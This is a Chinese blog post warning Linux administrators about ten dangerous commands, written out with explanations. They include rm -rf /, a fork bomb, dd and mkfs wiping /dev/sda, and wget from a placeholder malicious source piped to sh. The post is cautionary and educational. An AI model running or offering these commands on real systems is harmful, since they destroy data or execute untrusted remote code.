1. 程式人生 > >運維請注意:10個“非常危險”的Linux命令,果斷收藏!

運維請注意:10個“非常危險”的Linux命令,果斷收藏!

計算機作業系統是管理計算機軟硬體資源的一個平臺,沒有它,任何計算機都無法正常執行,市面上主流的作業系統有Windows、Unix、Linux、Mac OS X。

這裡主要說一下Linux系統,Linux是一個類Unix的開源版作業系統,主要有以下幾個特點:

開放式作業系統

Linux是一個免費軟體,開發者可以自由安裝並任意修改軟體的原始碼,相比Unix的命令列操作,Linux提供了視窗管理系統,相對容易操作,企業可以免費使用Linux,大大降低了成本預算。

強大的硬體支援

Linux系統非常容易維護,使用者可以集中更新作業系統和所有安裝的軟體,即安全又高效。Linux能有效利用系統資源,允許使用者針對特定的硬體要求進行安裝,允許在舊計算機上安裝Linux,從而有助於最佳地利用計算機硬體資源。

安全性高、穩定性強

Linux系統下除非使用者以root身份登入,否則程式無法更改系統設定和配置,很少出現因為使用者誤操作導致計算機無法啟動的情形。Linux非常穩定,不易崩潰,Linux能在幾年後保持和第一次安裝時一樣的執行速度。而Windows的話可能在執行半年後,速度就跟不上了。

早晚有一天,Linux 系統會像 Windows 那樣流行,用的人越來越多。但再完美的系統都有缺陷,在Linux給你最大程度自由度的同時,也使得破壞系統變得更加容易,如果你不瞭解某些命令的意義,下載執行包含惡意命令的指令碼,或者被騙執行某些命令,很容易讓你哭都來不及。

這並不是說明 Linux 不安全,只是說明我們不瞭解 Linux ,Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面我給大家總結了十條最危險的命令:

(溫馨提示:請千萬記住不要再伺服器或者其他裝置上隨意嘗試~如果你想測試它們,請在虛擬機器上執行,不然檔案丟失或者系統奔潰就不好了。)

1. rm -rf 命令 

rm -rf命令是刪除資料夾和裡面附帶內容的一種最快捷的方法,但是細微的錯誤或者語法認知不到位,就可能對系統造成不可恢復的破壞。

下列是一些rm 命令的選項:

rm 命令在Linux下通常用來刪除檔案。

rm -r 命令遞迴的刪除資料夾,甚至是空的資料夾。

rm -f 命令能不經過詢問直接刪除‘只讀檔案’。Linux下刪除檔案並不在乎該檔案是否是隻讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個引數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i引數來要求刪除確認,而-f則抑制了這個提示。

rm -rf / : 強制刪除根目錄下所有東東。

rm -rf *: 強制刪除當前目錄的所有檔案。

rm -rf . : 強制刪除當前資料夾及其子資料夾。

從現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”檔案對‘rm‘命令建立rm -i的別名,來預防用 ‘rm‘命令刪除檔案時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f引數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。)

2. :(){:|:&};: 命令

這個命令其實是一種fork炸彈,它定義了一個叫“:”的函式,呼叫了自己兩次,一次是在前臺,一次是在後臺。關鍵是這樣的呼叫會無限迴圈,直到系統崩潰。

懷疑的同學可以儘管在虛擬機器裡試試:

3. 命令 > /dev/sda

這個命令會將某個‘命令‘的輸出寫到塊裝置/dev/sda中。

這樣的話,/dev/sda 裡面的檔案會被命令輸出的內容全部替換掉,最後丟失掉其中原有的資料。

4. mv 資料夾 /dev/null

這個命令會移動某個‘資料夾‘到/dev/null。

在linux下,/dev/null或null是一種特殊的檔案,它們會把寫入自身的資料全部丟棄,再返回操作成功的訊息。

當然,要說明的是這個命令並不能阻止資料恢復軟體——所以,真正的徹底毀滅,需要採用專用的軟體或者手法來完成。

上面的命令會把/home/user/下面所有的內容,全部移動到/dev/null,這就是個無底的神坑。

5. wget http://malicious_source -O- | sh

該命令會從一個(也許是)惡意源下載一個指令碼並執行。

Wget命令會下載這個指令碼,而sh會(無條件的)執行下載下來的指令碼。

注意: 你應該時刻注意你下載包或指令碼的源。只能使用那些從可信任的源中下載指令碼/程式。

6. mkfs.ext3 /dev/sda

上列命令會格式化塊裝置‘sda’,在執行上面的命令後,你的硬碟驅動會被標記為新的。當然,這時系統是無法再恢復資料了。

通常我們不會直接使用/dev/sda這樣的裝置,除非是作為raw裝置使用。

一般都需要將sda分成類似sda1、sda2這樣的分割槽後才使用。當然,無論你使用sda還是sda1,這樣對塊裝置或分割槽進行mkfs都是毀滅性的,上面的資料都會被蒸發了。

7. > file

這個命令常用來清空檔案內容或記錄命令輸出。

不過請在執行前,確認輸出的檔案是空的或者還不存在,否則原來的檔案可真是恢復不了了——連資料恢復軟體都未必能幫助你了。

你可能真正想用的是“>>”,即累加新的輸出到檔案,而不是重新整理那個檔案。

如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf” 的命令會覆蓋配置檔案或其他任何的系統配置檔案。

8. ^foo^bar

這個命令用來編輯先前執行的命令而無需重打整個命令。

這樣利用^符號,通過上翻補全命令的方式,直接編輯之前執行過的命令。雖然你或許因此不用再輸入整條長命令,但其實這會很危險。

用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。

9. dd if=/dev/random of=/dev/sda

dd命令會擦掉/dev/sda下面的內容,然後寫入隨機的垃圾資料,最後你的系統會受到不可逆轉的破壞。

記得上面說過mv到黑洞並不能徹底刪除資料麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。

10. 隱藏命令 

下面的命令相當於rm –rf,它會藏在十六進位制hex中,一個無知的使用者可能就會被愚弄,如果在終端裡執行下面命令可能會擦除你的根分割槽。

真正的危險是隱藏起來的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。

切記,千萬不要編譯/執行從未知來源的程式碼。

這個故事告訴我們,致命的威脅在隱藏起來的時候,我們通常可能難以發現。

總結:

Linux命令是一種很有趣且有用的東西,但在你不知道會帶來什麼後果的時候,它又會顯得非常危險。所以,在輸入某些命令前,請多多檢查再敲回車。

​歡迎加入  51軟體測試大家庭,在這裡你將獲得【最新行業資訊】,【免費測試工具安裝包】,【軟體測試技術乾貨】,【面試求職技巧】... 51與你共同學習,一起成長!期待你的加入: QQ                        群:                       755431660